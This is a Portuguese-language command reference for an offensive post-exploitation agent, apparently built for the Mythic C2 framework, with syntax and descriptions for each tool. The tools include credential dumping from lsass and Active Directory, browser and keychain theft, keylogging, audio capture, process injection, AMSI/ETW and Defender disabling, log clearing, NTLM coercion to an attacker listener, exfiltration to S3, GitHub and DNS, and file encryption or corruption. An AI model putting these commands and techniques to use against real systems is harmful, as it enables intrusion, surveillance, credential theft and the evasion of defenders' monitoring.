## Referência Rápida de ComandosCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Ler/modificar DACLs de objetos do Active Directory (adicionar/remover ACEs, conceder DCSync, GenericAll, backup/restore). Multiplataforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumerar Serviços de Certificados do AD, encontrar modelos vulneráveis (ESC1-ESC4, ESC6 via DCOM), solicitar certificados via DCOM para exploração ESC1/ESC6, ou auto-explorar (encontrar → analisar → cadeia de requisição). Multiplataforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Apenas Windows)** Gerenciar NTFS Alternate Data Streams — escrever, ler, listar ou excluir fluxos de dados ocultos. Suporta texto e binário codificado em hex. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Consultar e limpar artefatos forenses de execução. Windows: Shimcache. Linux: recently-used.xbel, miniaturas, Tracker. macOS: itens recentes, KnowledgeC, quarentena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Apenas Windows)** Injeção remota em processos. `-method apc` (padrão) enfileira shellcode via NtQueueApcThread em uma thread alertável (use `ts` para encontrar uma). `-method hwbp` anexa via DebugActiveProcess, define um breakpoint de hardware DR0 em uma API alvo (padrão `ntdll!NtDelayExecution`) e redireciona Rip para o shellcode quando o breakpoint é acionado — sem TID necessário, sem fila APC, sem CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Gravar áudio do microfone e enviar arquivo WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multiplataforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Apenas Windows)** Consultar e modificar políticas de auditoria do Windows. Desabilitar o registro de eventos de segurança antes de operações sensíveis. O modo stealth desabilita subcategorias críticas para detecção. Usa a API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Apenas Windows)** Executar um comando com argumentos de processo falsificados. Ignora Sysmon Event ID 1 e telemetria de linha de comando de EDR (T1564.010).
arp | `arp [-ip <subnet>]` ou `arp -action spoof -target <IP> -gateway <IP>` | Exibir tabela ARP com filtragem, ou envenenamento de cache ARP para posicionamento MITM (T1557.002). Spoof: apenas Linux, restaura na limpeza.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Solicitar tickets AS-REP para contas sem pré-autenticação e extrair hashes no formato hashcat para quebra offline. Auto-enumera via LDAP. Multiplataforma (T1558.004).
av-detect | `av-detect [-deep true]` | Detectar produtos AV/EDR/segurança instalados, varrendo processos em execução contra um banco de dados de 130+ assinaturas. Com `--deep`, também verifica módulos do kernel, unidades systemd e diretórios de configuração para produtos instalados mas não em execução (Linux). Relata produto, fornecedor, tipo e PID. Multiplataforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Apenas Windows)** Aplicar patch automático em uma função pulando para o retorno mais próximo (instrução C3). Útil para bypasses de AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Kit de ferramentas de codificação de dados: base64, XOR (com chave string/hex), hex, ROT13, codificação percentual de URL, cifra de César. Todos suportam E/S de arquivo. Multiplataforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Apenas Windows)** Gerenciar trabalhos de transferência BITS para persistência e download furtivo de arquivos. Criar, suspender, retomar, concluir trabalhos e definir comandos de notificação para persistência. Trabalhos sobrevivem a reinicializações (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Coletar dados do navegador de Chromium, Firefox e Safari. Histórico, preenchimento automático, favoritos, downloads multiplataforma. Senhas: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (descriptografia key4.db NSS), Safari (macOS Keychain). Cookies do Firefox em todas as plataformas. MITRE T1555.003, T1217.
cat | `cat <file>` ou `cat -path <file> -start N -end N -number true` | Exibir conteúdo de arquivo com faixa de linhas opcional, numeração e proteção de tamanho de 5MB.
cd | `cd <directory>` | Alterar o diretório de trabalho atual.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modificar permissões de arquivo/diretório com notação octal (755, 644) ou simbólica (+x, u+rw, go-w). Suporte recursivo. Multiplataforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Apenas Linux/macOS)** Alterar proprietário/grupo de arquivo/diretório por nome de usuário/UID e nome de grupo/GID. Suporte recursivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspecionar certificados TLS em hosts remotos — identifica CAs, certificados autoassinados, expiração, SANs, versão TLS, conjuntos de cifras e impressões digitais SHA256. Multiplataforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Apenas Windows)** Enumerar repositórios de certificados do Windows para encontrar certificados de assinatura de código, certificados de autenticação de cliente e chaves privadas. Pesquisa CurrentUser e LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Ler/escrever área de transferência ou monitorar continuamente alterações com detecção de padrões de credenciais. Multiplataforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadados de nuvem, extração de credenciais, enumeração de IAM, enumeração de armazenamento, persistência e acesso a cofres de segredos. storage/aws-s3/azure-blob/gcp-gcs: enumerar buckets/contêineres com objetos de exemplo. aws-ssm: SSM Parameter Store com descriptografia. azure-keyvault: segredos do Key Vault via identidade gerenciada. gcp-secrets: Secret Manager via conta de serviço. aws-persist/azure-persist: criar chaves de acesso de longa duração/registros de aplicativo. Detecção automática. IMDSv2. Multiplataforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Criar, listar, extrair, preparar ou exfiltrar arquivos. Stage criptografa com AES-256-GCM. Exfil transfere para Mythic. exfil-https: enviar para URLs pré-assinadas S3/Azure/GCS com uploads fragmentados, cabeçalhos personalizados, jitter. exfil-github: exfiltrar via GitHub Contents API. Multiplataforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coerção de autenticação NTLM via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Força o alvo a autenticar no listener do atacante. Suporte pass-the-hash. Multiplataforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Visualizar ou modificar configuração de tempo de execução do agente, ou auto-atualizar o binário do agente. `show`/`set`: sleep, jitter, kill date, horário de trabalho. `update`: baixar novo payload do Mythic, verificar, iniciar e sair do agente atual. Multiplataforma (T1105).
container-detect | `container-detect` | Detectar runtime e ambiente de contêiner (Docker, K8s, LXC, Podman, WSL). Verifica vetores de escape como sockets Docker e contas de serviço K8s. Multiplataforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Apenas Linux)** Fuga de contêiner + operações K8s — socket Docker, cgroup, nsenter, montagem de dispositivo host. K8s: enumerar pods/serviços, ler segredos, **k8s-rbac**: varredura de ClusterRole/RoleBinding + pontuação de caminho de escalonamento de privilégio (crit/warn/info), **k8s-nodes**: superfície de ataque de nós do cluster (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: descobrir endpoints de cliente etcd a partir de argumentos de pod do plano de controle + sonda `/version` não autenticada por endpoint (leitura não autenticada = comprometimento total do cluster), implantar/executar pods via API. **Fora do cluster**: `-kubeconfig` aceita arquivos kubeconfig roubados para acesso K8s a partir de hosts não contêiner (autenticação token + certificado cliente) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copiar um arquivo da origem para o destino.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Testar credenciais contra SMB, WinRM e LDAP em hosts alvo. `verify-all` testa todas as credenciais do cofre contra hosts descobertos em paralelo. Multiplataforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Coletar credenciais: hashes shadow (Unix), configurações de nuvem (AWS/GCP/Azure/K8s), segredos de aplicativos, varredura de histórico de shell para senhas/tokens/chaves de API vazados, histórico do PowerShell + variáveis de ambiente + RDP (Windows), tokens M365 OAuth/JWT do TokenBroker/Teams/Outlook (Windows), **browser-live**: roubar cookies ativos, localStorage, sessionStorage via Chrome DevTools Protocol (CDP) de Chrome/Edge em execução. **dump-all**: cadeia de subtarefas automatizada — executa hashdump + lsa-secrets + cred-harvest em paralelo (Windows). Multiplataforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Exibir diálogo de credenciais nativo, abusar do fluxo de código de dispositivo OAuth ou phishing de código MFA. dialog: AppleScript macOS, CredUI Windows, zenity/kdialog Linux. device-code: fluxo de código de dispositivo Azure AD OAuth para captura de token. mfa-phish: diálogo falso de verificação MFA para capturar códigos TOTP. Multiplataforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Requisições HTTP + upload de arquivo para exfiltração (T1567). Enviar para URLs pré-assinadas S3, SAS Azure, endpoints genéricos. Multiplataforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extrair campos ou faixas de caracteres de linhas de arquivo. Delimitadores personalizados, especificações de faixa. Multiplataforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumerar repositórios de credenciais da plataforma. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, senhas WiFi/VPN do NetworkManager, GNOME Online Accounts. macOS: itens do Keychain (senhas genéricas + internet), senhas WiFi. `list`=metadados, `dump`=com segredos, `vault`=apenas Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Apenas Windows)** Gerenciar Defender — status, exclusões, ameaças, ativar/desativar proteção em tempo real. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Apenas Windows)** Descriptografia de blob DPAPI (CryptUnprotectData), enumeração de chaves mestre, extração de chave de criptografia Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Apenas Windows)** Acessar caixa de correio do Outlook via COM. Contar mensagens, pesquisar por palavra-chave, ler por índice, listar pastas. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Apenas Windows)** Executar comandos, enviar arquivos ou preparar e executar em hosts remotos via DCOM. `check` valida pré-requisitos RPC/DCOM. upload: transferir arquivos via certutil/PowerShell staging. exec-staged: enviar e depois executar com limpeza automática. Seis objetos COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Detectar depuradores anexados, ferramentas de análise e instrumentação. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registradores DR. Linux: TracerPid, LD_PRELOAD, mapas de memória (Frida/Valgrind/sanitizers), VM/sandbox, monitoramento eBPF (Falco/Tetragon/Tracee), framework auditd, escopo ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, detecção de VM (sysctl), produtos de segurança (EDR/AV), ambiente sandbox/análise. Todos: varredura de processos depuradores (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replicar credenciais do AD via DRS sem tocar no LSASS. `domain-takeover` executa kerberoast + asrep-roast + dcsync krbtgt/Administrator em paralelo. Multiplataforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Relatar uso de espaço em disco do sistema de arquivos com filtragem opcional por dispositivo, ponto de montagem ou tipo de sistema de arquivos. Multiplataforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparar dois arquivos e mostrar diferenças no formato diff unificado. Algoritmo baseado em LCS com linhas de contexto configuráveis. Multiplataforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumeração DNS — resolver hosts, consultar registros, descobrir DCs, transferências de zona, detecção de wildcard, resolução furtiva via DNS-over-HTTPS, exfiltração DNS. Multiplataforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Relatar uso de disco para arquivos e diretórios. Detalhamento de tamanho por subdiretório, ordenado pelo maior. Multiplataforma (T1083).
drivers | `drivers [-filter <name>]` | Enumerar drivers/módulos do kernel carregados. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumeração kext. Multiplataforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Enumeração de política de senha/bloqueio do AD e FGPP via LDAP. Recomendações seguras para spray. Multiplataforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Apenas Linux/macOS)** Listar, adicionar ou remover jobs cron para persistência. Suporta entradas cron brutas ou sintaxe programa+agenda.
download | `download <path>` ou `download {"path": "/file", "compress": true}` | Baixar um arquivo ou diretório do alvo. Arquivos >1MB são comprimidos automaticamente com gzip (configurável). Diretórios são zipados automaticamente. Verificação de hash SHA256. Transferência fragmentada, integração com navegador de arquivos.
drives | `drives` | Listar unidades/volumes disponíveis e sistemas de arquivos montados com tipo, rótulo/dispositivo e espaço livre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Apenas Windows)** Enumerar tokens de acesso em todos os processos. `list` mostra PID/usuário/integridade/sessão para cada processo. `unique` agrupa por usuário com contagens de processos. Habilita automaticamente SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Criptografia/descriptografia AES-256-GCM (T1486) + corrupção direcionada de arquivos (T1565). corrupt: sobrescrever cabeçalhos de arquivo com dados aleatórios. Portões de segurança necessários para operações destrutivas.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Listar, obter, definir ou remover variáveis de ambiente para o processo agente. Alterações são herdadas por processos filhos. Multiplataforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Escanear variáveis de ambiente de processos em busca de credenciais vazadas, chaves de API e segredos. 35+ padrões de detecção em categorias de nuvem, banco de dados, CI/CD e criptomoedas. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulação de subsistema de auditoria/telemetria. Windows: parada de sessões/provedores ETW, blind/blind-all/habilitar/patch/restaurar. Linux: regras auditd, journald limpar/rotacionar, config syslog, detecção de agente SIEM. macOS: registro unificado, detecção de agente de segurança. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gerenciar logs de eventos do sistema. Windows: canais wevtapi.dll. Linux: unidades journald e arquivos syslog. macOS: subsistemas/processos de Registro Unificado (os_log). Listar fontes, consultar eventos, limpar/vacuar logs, obter informações. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Executar um binário nativo da memória. Linux: memfd_create (sem gravação em disco). macOS: arquivo temporário com codesign ad-hoc. Windows: arquivo temporário com limpeza imediata. Todas as plataformas removem artefatos após a execução. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Executar shellcode no processo atual. Suporta shellcode codificado com XOR/AES-256-CTR com decodificação em tempo de execução (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (padrão) ou memfd_create. macOS: MAP_JIT (ARM64) ou mmap. Multiplataforma (T1059.006, T1620).
exit | `exit` | Tarefa para encerrar o agente.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obter ou definir atributos de arquivo — oculto, somente leitura, sistema (Windows); imutável, append, nodump (Linux); oculto, imutável (macOS). Omita -attrs para visualizar flags atuais. Multiplataforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identificar tipos de arquivo por bytes mágicos (35+ assinaturas). Arquivo único ou varredura de diretório. Detecta executáveis, arquivos, documentos, imagens, bancos de dados, mídia e mais. Multiplataforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Pesquisar arquivos por nome, tamanho, data, permissões ou proprietário. Encontrar binários SUID, arquivos graváveis por todos, arquivos de propriedade de usuários específicos. Multiplataforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Percorrer hosts para descobrir onde as credenciais têm acesso de administrador via SMB (compartilhamento C$) e/ou WinRM. **auto-move**: cadeia de subtarefas automatizada — encontrar hosts admin e depois mover lateralmente para cada um via psexec/wmi. Suporta CIDR, faixas de IP, PTH, varredura paralela (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gerenciar regras de firewall. Windows: API COM. macOS: ALF + regras pf ancoradas. Linux: iptables/nftables (detecção automática). Suporte a âncora PF para filtragem de pacotes macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Listar privilégios/capacidades. Windows: privilégios de token com habilitar/desabilitar/remover. Linux: capacidades do processo (CapEff/CapPrm) + contexto SELinux/AppArmor. macOS: entitlements, sandbox, grupos (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalonamento de privilégio. Windows: SYSTEM via roubo de token ou potato DCOM. Linux: verificar vetores de escalonamento (SUID, sudo, capacidades, docker) ou tentar elevação sudo. macOS: verificar vetores, sudo ou prompt admin osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Pesquisar SYSVOL por arquivos XML GPP com atributos cpassword criptografados e descriptografar usando a chave AES publicada (MS14-025). Multiplataforma via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumerar Objetos de Política de Grupo via LDAP — listar GPOs, mapear links com imposição, encontrar configurações CSE interessantes. Multiplataforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Pesquisar conteúdo de arquivos por padrões regex. Pesquisa recursiva de diretório com filtragem de extensão, linhas de contexto e pulo de arquivos binários. Multiplataforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcular hashes de arquivos (MD5, SHA-1, SHA-256, SHA-512). Arquivos únicos ou diretórios com filtragem de padrão glob e controle de profundidade. Multiplataforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Exibir conteúdo de arquivo no formato hex+ASCII estilo xxd. Controle de deslocamento/comprimento para examinar regiões específicas, máximo 4096 bytes. Multiplataforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumerar handles abertos/descritores de arquivo em um processo. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extrair hashes de senha de conta local. Windows: hashes NTLM do registro SAM (requer SYSTEM); **insitu**: enumerar sessões de logon ativas via APIs LSA em processo (requer admin); **insitu-full**: abrir lsass.exe com PROCESS_VM_READ, varrer sigs de lsasrv.dll em busca de LogonSessionList, percorrer a lista encadeada, sobrepor o layout KIWI_MSV1_0_LIST_63 em cada nó para analisar LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, percorrer a cadeia de credenciais por pacote de autenticação em credentials_ptr para capturar cada envelope KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, varrer sigs de LsaInitializeProtectedMemory_Internal para recuperar os globais BCrypt de IV / h3DesKey / hAesKey mais os bytes brutos de IV 16 bytes / 3DES 24 bytes / AES 32 bytes, descriptografar AES-256-CFB / 3DES-CBC de cada blob de texto cifrado capturado (selecionado por blob usando `len % 8`), e sobrepor o layout KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW para extrair hashes NT/LM/SHA — emitido no formato `username:rid:lm:nt:::` compatível com o hook do vault de credenciais do ProcessResponse dump-action (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, requer admin). Linux: hashes /etc/shadow com identificação de tipo de hash (requer root). macOS: hashes PBKDF2 dos Serviços de Diretório a partir de plists de usuário (requer root). **auto-spray**: despejar hashes e depois pulverizá-los automaticamente via cred-check contra hosts alvo. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Listar ou limpar arquivos de histórico de comandos de shell/aplicativo. Abrange bash, zsh, fish, PowerShell, python, mysql e mais. Multiplataforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Oco de processo — criar processo suspenso, escrever shellcode, redirecionar execução. **Windows:** CREATE_SUSPENDED + SetThreadContext, falsificação de PPID, bloqueio de DLL, decoração de PEB (mascaramento de ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + escrita em /proc/mem. **macOS:** ptrace + APIs Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — requer root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumerar configurações de IDE — extensões VS Code, hosts SSH remotos, projetos recentes, configurações com segredos. Fontes de dados JetBrains, servidores de implantação, projetos recentes. Multiplataforma (T1005, T1083).
ifconfig | `ifconfig` | Listar interfaces de rede com endereços, MAC, MTU e flags. Multiplataforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Apenas Windows)** Executar um assembly .NET na memória usando o CLR. Suporta argumentos de linha de comando. Use `start-clr` primeiro para fluxo de patching AMSI.
inline-execute | `inline-execute` | **(Apenas Windows)** Executar um Beacon Object File (BOF/COFF) na memória. Suporta todos os tipos de argumento: strings (z), strings largas (Z), inteiros (i), shorts (s) e binário (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Apenas Windows)** Carregar um PE nativo (DLL) da memória no processo atual. Mapeamento manual de PE com cópia de seções, correções de realocação, resolução de importação e invocação de DllMain. Opcionalmente chamar funções exportadas (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Apenas Linux)** Enumeração e gerenciamento de firewall Linux via iptables/nftables/ufw. Encaminhamento IP, rastreamento de conexão, listagem e modificação de regras. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Parar uma tarefa em execução pelo ID da tarefa. Use `jobs` para listar tarefas em execução. Multiplataforma.
jobs | `jobs` | Listar tarefas atualmente em execução com ID da tarefa, nome do comando e duração. Multiplataforma.
jxa | `jxa -code '<script>' [-timeout 60]` ou `jxa -file /path/to/script.js` | **(Apenas macOS)** Executar scripts JavaScript for Automation (JXA) com acesso à ponte ObjC para frameworks Foundation, AppKit, Security. Suporta código inline e entrada de arquivo (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Solicitar tickets TGS para contas SPN e extrair hashes no formato hashcat para quebra offline. Auto-enumera via LDAP. Multiplataforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumerar, despejar, limpar e importar tickets Kerberos. Importar habilita Pass-the-Ticket: Windows injeta kirbi via LSA, Linux/macOS escreve ccache + define KRB5CCNAME. Multiplataforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Apenas macOS)** Acessar o Keychain do macOS — listar keychains, despejar metadados, encontrar senhas genéricas/internet, enumerar certificados.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumerar relacionamentos de delegação Kerberos — não restrita, restrita (com transição de protocolo), RBCD. Ação **monitor** (Windows/SYSTEM apenas) consulta LSA em busca de TGTs recebidos e exporta como blobs kirbi. Multiplataforma exceto monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Registrador de teclado de baixo nível. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Detecta eventos de colagem Ctrl+V/Cmd+V e captura conteúdo da área de transferência. Rastreamento de contexto de janela em todas as plataformas (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Testar opções de movimento lateral contra alvos — verifica conectividade SMB, WinRM, RDP, RPC, SSH e sugere métodos aplicáveis. Multiplataforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostrar histórico de login, tentativas de login falhas e eventos de inicialização/desligamento do sistema. Linux: analisa wtmp/btmp. Windows: logs de eventos Security/System. macOS: `last` nativo + log unificado. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Consultar Active Directory via LDAP. Consultas predefinidas para usuários, computadores, grupos, administradores de domínio, todos admins (adminCount), SPNs, AS-REP roastable, contas desabilitadas, GPOs, OUs, senha nunca expira, relações de confiança de domínio, delegação não restrita/restrita, análise DACL, extração de senha gMSA, coleta BloodHound CE v6 (usuários/computadores/grupos/OUs/GPOs/confiança para análise de grafo) ou filtros LDAP personalizados. Multiplataforma (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modificar objetos AD via LDAP. Associação a grupo, atributos, SPNs, habilitar/desabilitar conta, redefinição de senha, credenciais sombra, criação de conta de máquina, delegação RBCD, exclusão de objeto. Abuso de GPO: injetar tarefas agendadas (gpo-task) ou scripts de inicialização (gpo-script). ADCS: modificar modelos de certificado para exploração ESC1/ESC4. Multiplataforma (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Terminar um processo pelo PID. Multiplataforma (Windows/Linux/macOS).
